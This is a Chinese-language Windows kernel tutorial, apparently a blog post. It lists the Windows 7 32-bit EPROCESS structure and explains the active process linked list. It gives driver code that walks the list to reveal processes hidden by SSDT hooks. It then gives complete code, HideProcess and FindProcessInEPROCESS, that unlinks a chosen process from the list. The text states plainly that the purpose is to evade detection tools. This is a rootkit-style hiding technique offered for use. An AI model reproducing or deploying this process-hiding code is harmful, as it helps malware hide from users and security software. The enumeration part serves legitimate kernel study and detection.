1.EPROCESS结构体
EPROCESS块来表示。EPROCESS块中不仅包含了进程相关了很多信息,还有很多指向其他相关结构数据结构的指针。例如每一个进程里面都至少有一个ETHREAD块表示的线程。进程的名字,和在用户空间的PEB(进程环境)块等等。EPROCESS中除了PEB成员块在是用户空间,其他都是在系统空间中的。
2.查看EPROCESS结构
kd> dt_eprocess
ntdll!_EPROCESS
+0×000 Pcb : _KPROCESS
+0×098 ProcessLock : _EX_PUSH_LOCK
+0x0a0 CreateTime : _LARGE_INTEGER //创建时间
+0x0a8 ExitTime : _LARGE_INTEGER //退出时间
+0x0b0 RundownProtect : _EX_RUNDOWN_REF
+0x0b4 UniqueProcessId : Ptr32 Void //进程的pid
+0x0b8 ActiveProcessLinks : _LIST_ENTRY //活动进程链表
+0x0c0 ProcessQuotaUsage : [2] Uint4B
+0x0c8 ProcessQuotaPeak : [2] Uint4B
+0x0d0 CommitCharge : Uint4B
+0x0d4 QuotaBlock : Ptr32 _EPROCESS_QUOTA_BLOCK
+0x0d8 CpuQuotaBlock : Ptr32 _PS_CPU_QUOTA_BLOCK
+0x0dc PeakVirtualSize : Uint4B
+0x0e0 VirtualSize : Uint4B
+0x0e4 SessionProcessLinks : _LIST_ENTRY
+0x0ec DebugPort : Ptr32 Void
+0x0f0 ExceptionPortData : Ptr32 Void
+0x0f0 ExceptionPortValue : Uint4B
+0x0f0 ExceptionPortState : Pos 0, 3 Bits
+0x0f4 ObjectTable : Ptr32 _HANDLE_TABLE //指向句柄表的指针
+0x0f8 Token : _EX_FAST_REF
+0x0fc WorkingSetPage : Uint4B
+0×100 AddressCreationLock : _EX_PUSH_LOCK
+0×104 RotateInProgress : Ptr32 _ETHREAD
+0×108 ForkInProgress : Ptr32 _ETHREAD
+0x10c HardwareTrigger : Uint4B
+0×110 PhysicalVadRoot : Ptr32 _MM_AVL_TABLE
+0×114 CloneRoot : Ptr32 Void
+0×118 NumberOfPrivatePages : Uint4B
+0x11c NumberOfLockedPages : Uint4B
+0×120 Win32Process : Ptr32 Void
+0×124 Job : Ptr32 _EJOB
+0×128 SectionObject : Ptr32 Void
+0x12c SectionBaseAddress : Ptr32 Void
+0×130 Cookie : Uint4B
+0×134 Spare8 : Uint4B
+0×138 WorkingSetWatch : Ptr32 _PAGEFAULT_HISTORY
+0x13c Win32WindowStation : Ptr32 Void
+0×140 InheritedFromUniqueProcessId : Ptr32 Void
+0×144 LdtInformation : Ptr32 Void
+0×148 VdmObjects : Ptr32 Void
+0x14c ConsoleHostProcess : Uint4B
+0×150 DeviceMap : Ptr32 Void
+0×154 EtwDataSource : Ptr32 Void
+0×158 FreeTebHint : Ptr32 Void
+0×160 PageDirectoryPte : _HARDWARE_PTE_X86
+0×160 Filler : Uint8B
+0×168 Session : Ptr32 Void
+0x16c ImageFileName : [15] UChar //进程名称
+0x17b PriorityClass : UChar
+0x17c JobLinks : _LIST_ENTRY
+0×184 LockedPagesList : Ptr32 Void
+0×188 ThreadListHead : _LIST_ENTRY //进程里的线程链表
+0×190 SecurityPort : Ptr32 Void
+0×194 PaeTop : Ptr32 Void
+0×198 ActiveThreads : Uint4B
+0x19c ImagePathHash : Uint4B
+0x1a0 DefaultHardErrorProcessing : Uint4B
+0x1a4 LastThreadExitStatus : Int4B
+0x1a8 Peb : Ptr32 _PEB //指向PEB的指针
+0x1ac PrefetchTrace : _EX_FAST_REF
+0x1b0 ReadOperationCount : _LARGE_INTEGER
+0x1b8 WriteOperationCount : _LARGE_INTEGER
+0x1c0 OtherOperationCount : _LARGE_INTEGER
+0x1c8 ReadTransferCount : _LARGE_INTEGER
+0x1d0 WriteTransferCount : _LARGE_INTEGER
+0x1d8 OtherTransferCount : _LARGE_INTEGER
+0x1e0 CommitChargeLimit : Uint4B
+0x1e4 CommitChargePeak : Uint4B
+0x1e8 AweInfo : Ptr32 Void
+0x1ec SeAuditProcessCreationInfo : _SE_AUDIT_PROCESS_CREATION_INFO
+0x1f0 Vm : _MMSUPPORT
+0x25c MmProcessLinks : _LIST_ENTRY
+0×264 HighestUserAddress : Ptr32 Void
+0×268 ModifiedPageCount : Uint4B
+0x26c Flags2 : Uint4B
+0x26c JobNotReallyActive : Pos 0, 1 Bit
+0x26c AccountingFolded : Pos 1, 1 Bit
+0x26c NewProcessReported : Pos 2, 1 Bit
+0x26c ExitProcessReported : Pos 3, 1 Bit
+0x26c ReportCommitChanges : Pos 4, 1 Bit
+0x26c LastReportMemory : Pos 5, 1 Bit
+0x26c ReportPhysicalPageChanges : Pos 6, 1 Bit
+0x26c HandleTableRundown : Pos 7, 1 Bit
+0x26c NeedsHandleRundown : Pos 8, 1 Bit
+0x26c RefTraceEnabled : Pos 9, 1 Bit
+0x26c NumaAware : Pos 10, 1 Bit
+0x26c ProtectedProcess : Pos 11, 1 Bit
+0x26c DefaultPagePriority : Pos 12, 3 Bits
+0x26c PrimaryTokenFrozen : Pos 15, 1 Bit
+0x26c ProcessVerifierTarget : Pos 16, 1 Bit
+0x26c StackRandomizationDisabled : Pos 17, 1 Bit
+0x26c AffinityPermanent : Pos 18, 1 Bit
+0x26c AffinityUpdateEnable : Pos 19, 1 Bit
+0x26c PropagateNode : Pos 20, 1 Bit
+0x26c ExplicitAffinity : Pos 21, 1 Bit
+0×270 Flags : Uint4B
+0×270 CreateReported : Pos 0, 1 Bit
+0×270 NoDebugInherit : Pos 1, 1 Bit
+0×270 ProcessExiting : Pos 2, 1 Bit
+0×270 ProcessDelete : Pos 3, 1 Bit
+0×270 Wow64SplitPages : Pos 4, 1 Bit
+0×270 VmDeleted : Pos 5, 1 Bit
+0×270 OutswapEnabled : Pos 6, 1 Bit
+0×270 Outswapped : Pos 7, 1 Bit
+0×270 ForkFailed : Pos 8, 1 Bit
+0×270 Wow64VaSpace4Gb : Pos 9, 1 Bit
+0×270 AddressSpaceInitialized : Pos 10, 2 Bits
+0×270 SetTimerResolution : Pos 12, 1 Bit
+0×270 BreakOnTermination : Pos 13, 1 Bit
+0×270 DeprioritizeViews : Pos 14, 1 Bit
+0×270 WriteWatch : Pos 15, 1 Bit
+0×270 ProcessInSession : Pos 16, 1 Bit
+0×270 OverrideAddressSpace : Pos 17, 1 Bit
+0×270 HasAddressSpace : Pos 18, 1 Bit
+0×270 LaunchPrefetched : Pos 19, 1 Bit
+0×270 InjectInpageErrors : Pos 20, 1 Bit
+0×270 VmTopDown : Pos 21, 1 Bit
+0×270 ImageNotifyDone : Pos 22, 1 Bit
+0×270 PdeUpdateNeeded : Pos 23, 1 Bit
+0×270 VdmAllowed : Pos 24, 1 Bit
+0×270 CrossSessionCreate : Pos 25, 1 Bit
+0×270 ProcessInserted : Pos 26, 1 Bit
+0×270 DefaultIoPriority : Pos 27, 3 Bits
+0×270 ProcessSelfDelete : Pos 30, 1 Bit
+0×270 SetTimerResolutionLink : Pos 31, 1 Bit
+0×274 ExitStatus : Int4B
+0×278 VadRoot : _MM_AVL_TABLE
+0×298 AlpcContext : _ALPC_PROCESS_CONTEXT
+0x2a8 TimerResolutionLink : _LIST_ENTRY
+0x2b0 RequestedTimerResolution : Uint4B
+0x2b4 ActiveThreadsHighWatermark : Uint4B
+0x2b8 SmallestTimerResolution : Uint4B
+0x2bc TimerResolutionStackRecord : Ptr32 _PO_DIAG_STACK_RECORD
3.什么是进程活动链表?
EPROCESS块中有一个ActiveProcessLinks成员,它是一个PLIST_ENTRY结构的双向链表。当一个新进程建立的时候父进程负责完成EPROCESS块,然后把ActiveProcessLinks链接到一个全局内核变量PsActiveProcessHead链表中。
在PspCreateProcess内核API中能清晰的找到:
InsertTailList(&PsActiveProcessHead,&Process->ActiveProcessLinks);
当进程结束的时候,该进程的EPROCESS结构当从活动进程链上摘除。(但是EPROCESS结构不一定就马上释放)。
在PspExitProcess内核API中能清晰的找到:
RemoveEntryList(&Process->ActiveProcessLinks);
所以我们完全可以利用活动进程链表来对进程进行枚举。
关于链表的使用,可以参考:Windows内核中字符串和链表的使用。
4. 进程枚举检测Hook SSDT隐藏的进程。
我们前面在SSDT Hook实现简单的进程隐藏和保护这篇文章中讲到如果使用ssdt hook来隐藏进程。
事实上Nactive API ZwQuerySystemInformation 对进程查询也是找到活动进程链表头,然后遍历活动进程链。最后把每一个EPROCESS中包含的基本信息返回(包括进程ID名字等)。所以用遍历活动进程链表的办法能有效的把Hook SSDT进行隐藏的进程轻而易举的查出来。但是PsActiveProcessHead并没被ntoskrnl.exe 导出来,所以我们可以利用硬编码的办法,来解决这个问题。
在win7 32位下:
#define PIDOFFSET 0xb4 //_EPROCESS中UniqueProcessId的偏移
#define FLICKOFFSET 0xb8 //_EPROCESS中ActiveProcessLinks偏移
#define IMAGEFILENAME 0x16C //_EPROCESS中ImageFileName的偏移
示例代码:
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
//遍历ActiveProcessLinks来显示所有进程
void ShowEPROCESS() { DWORD EProcess,FirstEProcess; LIST_ENTRY* ActiveProcessLinks; DWORD pid,dwCount=0; PUCHAR pImage; EProcess=FirstEProcess=(DWORD)PsGetCurrentProcess(); __try { while ( EProcess!= 0) { dwCount++; pid= *( (DWORD*)( EProcess + PIDOFFSET ) ); pImage= (PUCHAR)( EProcess + IMAGEFILENAME ) ; DbgPrint ( "[Pid=%8d] EProcess=0x%08X %s\n", pid, EProcess, pImage) ; ActiveProcessLinks = (LIST_ENTRY*) ( EProcess + FLICKOFFSET ) ; EProcess = (DWORD)ActiveProcessLinks->Flink - FLICKOFFSET ; if ( EProcess == FirstEProcess ) break ; } DbgPrint ( "ProcessCount = %d\n", dwCount ) ; } __except ( 1 ) { DbgPrint ( "EnumProcessList exception !" ) ; } } |
5. 删除活动进程链表节点实现进程隐藏
由于Windows是基于线程调度的。所以如果我们把要隐藏的进程的EPROCESS块从活动进程链上摘除,就能有效的绕过基于通过活动进程链表检测进程的防御系统。因为是以线程为基本单位进行调度,所以摘除过后并不影响隐藏进程的线程调度。
示例代码:
根据pid在进程活动链表中找到进程的eprocess结构体
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 |
DWORD FindProcessInEPROCESS(int hidePid)
{ DWORD eproc = 0x00000000; int currentPid = 0; int startPid = 0; int cout = 0; PLIST_ENTRY pListActiveProcs; if(0 == hidePid) { return hidePid; } //遍历ActiveList eproc = (DWORD)PsGetCurrentProcess(); startPid = *((DWORD*)(eproc+PIDOFFSET)); currentPid = startPid; while(TRUE) { if(hidePid == currentPid) { return eproc; }else if((cout >= 1) && (startPid == currentPid)) { //没有找到 return 0x00000000; }else{ pListActiveProcs = (LIST_ENTRY *)(eproc + FLICKOFFSET); eproc = (DWORD) pListActiveProcs->Flink; eproc = eproc - FLICKOFFSET; currentPid = *((int *)(eproc + PIDOFFSET)); } } } |
把这个结构体从活动进程链表中摘去
1
2 3 4 5 6 7 8 9 10 11 12 |
void HideProcess(int hidePid)
{ PLIST_ENTRY pListActiveProcs = NULL; PLIST_ENTRY pHandleTable = NULL; DWORD eproc = FindProcessInEPROCESS(hidePid);// 在EPROCESS结构中找到这个进程 DbgPrint("eproc %08X",eproc); pListActiveProcs = (LIST_ENTRY*)(eproc + FLICKOFFSET); *((DWORD*)pListActiveProcs->Blink) = (DWORD)pListActiveProcs->Flink; *((DWORD*)pListActiveProcs->Flink+1) = (DWORD)pListActiveProcs->Blink; pListActiveProcs->Flink = (LIST_ENTRY *)&(pListActiveProcs->Flink); pListActiveProcs->Blink = (LIST_ENTRY *)&(pListActiveProcs->Flink); } |